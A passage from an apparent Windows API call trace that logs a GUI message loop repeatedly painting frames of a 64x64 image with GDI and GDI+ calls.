(graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0157.372] GetCurrentObject (hdc=0xc010bac, type=0x1) returned 0x1b00017 [0157.372] GetCurrentObject (hdc=0xc010bac, type=0x2) returned 0x1900010 [0157.372] GetCurrentObject (hdc=0xc010bac, type=0x7) returned 0x1a05067e [0157.372] GetCurrentObject (hdc=0xc010bac, type=0x6) returned 0x18a002e [0157.372] SaveDC (hdc=0xc010bac) returned 1 [0157.372] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x140407c3 [0157.372] GetClipRgn (hdc=0xc010bac, hrgn=0x140407c3) returned 0 [0157.372] SelectClipRgn (hdc=0xc010bac, hrgn=0xffffffffe4040b8a) returned 2 [0157.372] DeleteObject (ho=0x140407c3) returned 1 [0157.372] DeleteObject (ho=0xffffffffe4040b8a) returned 1 [0157.372] OffsetViewportOrgEx (in: hdc=0xc010bac, x=0, y=0, lppt=0x2714ca8 | out: lppt=0x2714ca8) returned 1 [0157.372] GetNearestColor (hdc=0xc010bac, color=0xffffff) returned 0xffffff [0157.373] CreateSolidBrush (color=0xffffff) returned 0xffffffffec100190 [0157.373] FillRect (hDC=0xc010bac, lprc=0x15d7c0, hbr=0xffffffffec100190) returned 1 [0157.373] DeleteObject (ho=0xffffffffec100190) returned 1 [0157.373] RestoreDC (hdc=0xc010bac, nSavedDC=-1) returned 1 [0157.373] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.373] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xc010bac) returned 0x0 [0157.373] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc0e0dbd) returned 0x0 [0157.373] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.373] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0157.373] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0157.373] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0157.373] GetSystemMetrics (nIndex=42) returned 0 [0157.373] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0157.373] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0157.373] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0157.373] CoTaskMemFree (pv=0x1e91eca0) [0157.373] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0157.374] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0157.374] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0157.374] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0157.374] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0xc010bac, x1=0, y1=0, rop=0xcc0020) returned 1 [0157.374] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.374] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xc010bac) returned 0x0 [0157.374] SelectObject (hdc=0xc010bac, h=0x185000f) returned 0x1a05067e [0157.374] DeleteDC (hdc=0xc010bac) returned 1 [0157.374] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.374] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0157.374] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0157.374] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0157.375] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0157.375] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0157.375] WaitMessage () returned 1 [0157.503] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0157.503] IsWindowUnicode (hWnd=0x2031e) returned 1 [0157.503] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0157.504] TranslateMessage (lpMsg=0x15e910) returned 0 [0157.504] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0157.504] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0157.504] GetCurrentThreadId () returned 0xec0 [0157.504] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0157.504] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0157.504] IsWindowUnicode (hWnd=0x2031e) returned 1 [0157.504] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0157.504] TranslateMessage (lpMsg=0x15e910) returned 0 [0157.504] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0157.504] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0157.504] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0157.505] CreateCompatibleDC (hdc=0x3010b83) returned 0xd010bac [0157.505] SelectObject (hdc=0xd010bac, h=0x1a05067e) returned 0x185000f [0157.505] GdipCreateFromHDC (hdc=0xd010bac, graphics=0x15daf0) returned 0x0 [0157.505] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0157.505] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0157.505] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0157.505] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0157.505] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0157.505] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0157.506] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0157.506] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0157.506] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.507] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0157.507] GdipCreateRegion (region=0x15dc20) returned 0x0 [0157.507] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0157.507] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0157.507] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0157.507] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0157.507] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0157.507] GetSystemMetrics (nIndex=42) returned 0 [0157.507] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0157.507] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0157.507] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0157.507] CoTaskMemFree (pv=0x1e91eca0) [0157.507] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0157.507] GdipCreateRegion (region=0x15d710) returned 0x0 [0157.508] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0157.508] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0157.508] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0157.508] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0157.508] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0157.508] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0157.508] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0157.509] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0157.509] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0157.509] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0157.509] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0157.509] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.509] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0157.509] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0157.509] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0157.509] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0157.509] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.510] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0157.510] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0157.510] GetCurrentObject (hdc=0xd010bac, type=0x1) returned 0x1b00017 [0157.510] GetCurrentObject (hdc=0xd010bac, type=0x2) returned 0x1900010 [0157.510] GetCurrentObject (hdc=0xd010bac, type=0x7) returned 0x1a05067e [0157.510] GetCurrentObject (hdc=0xd010bac, type=0x6) returned 0x18a002e [0157.510] SaveDC (hdc=0xd010bac) returned 1 [0157.510] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffe5040b8a [0157.510] GetClipRgn (hdc=0xd010bac, hrgn=0xffffffffe5040b8a) returned 0 [0157.510] SelectClipRgn (hdc=0xd010bac, hrgn=0x150407c3) returned 2 [0157.510] DeleteObject (ho=0xffffffffe5040b8a) returned 1 [0157.510] DeleteObject (ho=0x150407c3) returned 1 [0157.510] OffsetViewportOrgEx (in: hdc=0xd010bac, x=0, y=0, lppt=0x27155e0 | out: lppt=0x27155e0) returned 1 [0157.511] GetNearestColor (hdc=0xd010bac, color=0xffffff) returned 0xffffff [0157.511] CreateSolidBrush (color=0xffffff) returned 0xffffffffed100190 [0157.511] FillRect (hDC=0xd010bac, lprc=0x15d7c0, hbr=0xffffffffed100190) returned 1 [0157.511] DeleteObject (ho=0xffffffffed100190) returned 1 [0157.511] RestoreDC (hdc=0xd010bac, nSavedDC=-1) returned 1 [0157.511] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.511] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xd010bac) returned 0x0 [0157.511] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc0c0dbd) returned 0x0 [0157.511] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.511] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0157.511] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0157.511] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0157.512] GetSystemMetrics (nIndex=42) returned 0 [0157.512] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0157.512] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0157.512] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0157.512] CoTaskMemFree (pv=0x1e91eca0) [0157.512] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x2) returned 0x0 [0157.514] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0157.514] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0157.514] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0157.514] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0157.514] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0xd010bac, x1=0, y1=0, rop=0xcc0020) returned 1 [0157.514] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.514] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xd010bac) returned 0x0 [0157.514] SelectObject (hdc=0xd010bac, h=0x185000f) returned 0x1a05067e [0157.514] DeleteDC (hdc=0xd010bac) returned 1 [0157.514] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.515] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0157.515] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0157.515] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0157.515] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0157.515] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0157.515] WaitMessage () returned 1 [0157.659] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0157.659] IsWindowUnicode (hWnd=0x2031e) returned 1 [0157.659] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0157.659] TranslateMessage (lpMsg=0x15e910) returned 0 [0157.659] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0157.659] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0157.659] GetCurrentThreadId () returned 0xec0 [0157.659] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0157.660] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0157.660] IsWindowUnicode (hWnd=0x2031e) returned 1 [0157.660] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0157.660] TranslateMessage (lpMsg=0x15e910) returned 0 [0157.660] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0157.660] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0157.660] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0157.660] CreateCompatibleDC (hdc=0x3010b83) returned 0x3501075e [0157.660] SelectObject (hdc=0x3501075e, h=0x1a05067e) returned 0x185000f [0157.660] GdipCreateFromHDC (hdc=0x3501075e, graphics=0x15daf0) returned 0x0 [0157.661] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0157.661] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0157.661] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0157.661] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0157.661] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0157.661] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0157.661] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0157.662] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0157.662] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.662] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0157.662] GdipCreateRegion (region=0x15dc20) returned 0x0 [0157.662] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0157.662] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0157.662] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0157.662] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0157.662] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0157.662] GetSystemMetrics (nIndex=42) returned 0 [0157.662] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0157.662] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0157.663] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0157.663] CoTaskMemFree (pv=0x1e91eca0) [0157.663] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0157.663] GdipCreateRegion (region=0x15d710) returned 0x0 [0157.663] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0157.663] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0157.663] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0157.663] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0157.663] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0157.663] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0157.664] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0157.664] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0157.664] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0157.664] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0157.664] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0157.664] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.665] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0157.665] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0157.665] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0157.665] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0157.665] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.665] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0157.665] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0157.665] GetCurrentObject (hdc=0x3501075e, type=0x1) returned 0x1b00017 [0157.665] GetCurrentObject (hdc=0x3501075e, type=0x2) returned 0x1900010 [0157.665] GetCurrentObject (hdc=0x3501075e, type=0x7) returned 0x1a05067e [0157.665] GetCurrentObject (hdc=0x3501075e, type=0x6) returned 0x18a002e [0157.665] SaveDC (hdc=0x3501075e) returned 1 [0157.666] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x160407c3 [0157.666] GetClipRgn (hdc=0x3501075e, hrgn=0x160407c3) returned 0 [0157.666] SelectClipRgn (hdc=0x3501075e, hrgn=0xffffffffe6040b8a) returned 2 [0157.666] DeleteObject (ho=0x160407c3) returned 1 [0157.666] DeleteObject (ho=0xffffffffe6040b8a) returned 1 [0157.666] OffsetViewportOrgEx (in: hdc=0x3501075e, x=0, y=0, lppt=0x27168e8 | out: lppt=0x27168e8) returned 1 [0157.666] GetNearestColor (hdc=0x3501075e, color=0xffffff) returned 0xffffff [0157.666] CreateSolidBrush (color=0xffffff) returned 0xffffffffee100190 [0157.666] FillRect (hDC=0x3501075e, lprc=0x15d7c0, hbr=0xffffffffee100190) returned 1 [0157.666] DeleteObject (ho=0xffffffffee100190) returned 1 [0157.666] RestoreDC (hdc=0x3501075e, nSavedDC=-1) returned 1 [0157.666] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.667] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x3501075e) returned 0x0 [0157.667] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc0a0dbd) returned 0x0 [0157.667] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.667] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0157.667] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0157.667] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0157.667] GetSystemMetrics (nIndex=42) returned 0 [0157.667] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0157.667] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0157.667] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0157.667] CoTaskMemFree (pv=0x1e91eca0) [0157.667] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0157.667] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0157.667] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0157.668] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0157.668] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x3501075e, x1=0, y1=0, rop=0xcc0020) returned 1 [0157.668] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.668] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x3501075e) returned 0x0 [0157.668] SelectObject (hdc=0x3501075e, h=0x185000f) returned 0x1a05067e [0157.668] DeleteDC (hdc=0x3501075e) returned 1 [0157.668] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.668] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0157.668] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0157.668] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0157.668] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0157.669] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0157.669] WaitMessage () returned 1 [0157.931] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0157.931] IsWindowUnicode (hWnd=0x2031e) returned 1 [0157.932] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0157.932] TranslateMessage (lpMsg=0x15e910) returned 0 [0157.932] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0157.933] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0157.933] GetCurrentThreadId () returned 0xec0 [0157.934] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0157.934] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0157.934] IsWindowUnicode (hWnd=0x2031e) returned 1 [0157.935] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0157.935] TranslateMessage (lpMsg=0x15e910) returned 0 [0157.935] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0157.936] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0157.937] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0157.938] CreateCompatibleDC (hdc=0x3010b83) returned 0x3601075e [0157.940] SelectObject (hdc=0x3601075e, h=0x1a05067e) returned 0x185000f [0157.940] GdipCreateFromHDC (hdc=0x3601075e, graphics=0x15daf0) returned 0x0 [0157.941] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0157.941] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0157.942] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0157.942] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0157.943] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0157.943] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0157.944] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0157.945] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0157.945] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.945] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0157.946] GdipCreateRegion (region=0x15dc20) returned 0x0 [0157.946] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0157.947] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0157.947] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0157.948] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0157.948] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0157.948] GetSystemMetrics (nIndex=42) returned 0 [0157.949] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0157.949] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0157.949] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0157.950] CoTaskMemFree (pv=0x1e91eca0) [0157.950] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0157.951] GdipCreateRegion (region=0x15d710) returned 0x0 [0157.952] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0157.953] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0157.953] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0157.955] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0157.956] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0157.956] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0157.957] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0157.957] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0157.957] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0157.958] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0157.958] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0157.958] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.959] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0157.959] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0157.960] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0157.960] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0157.961] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.961] 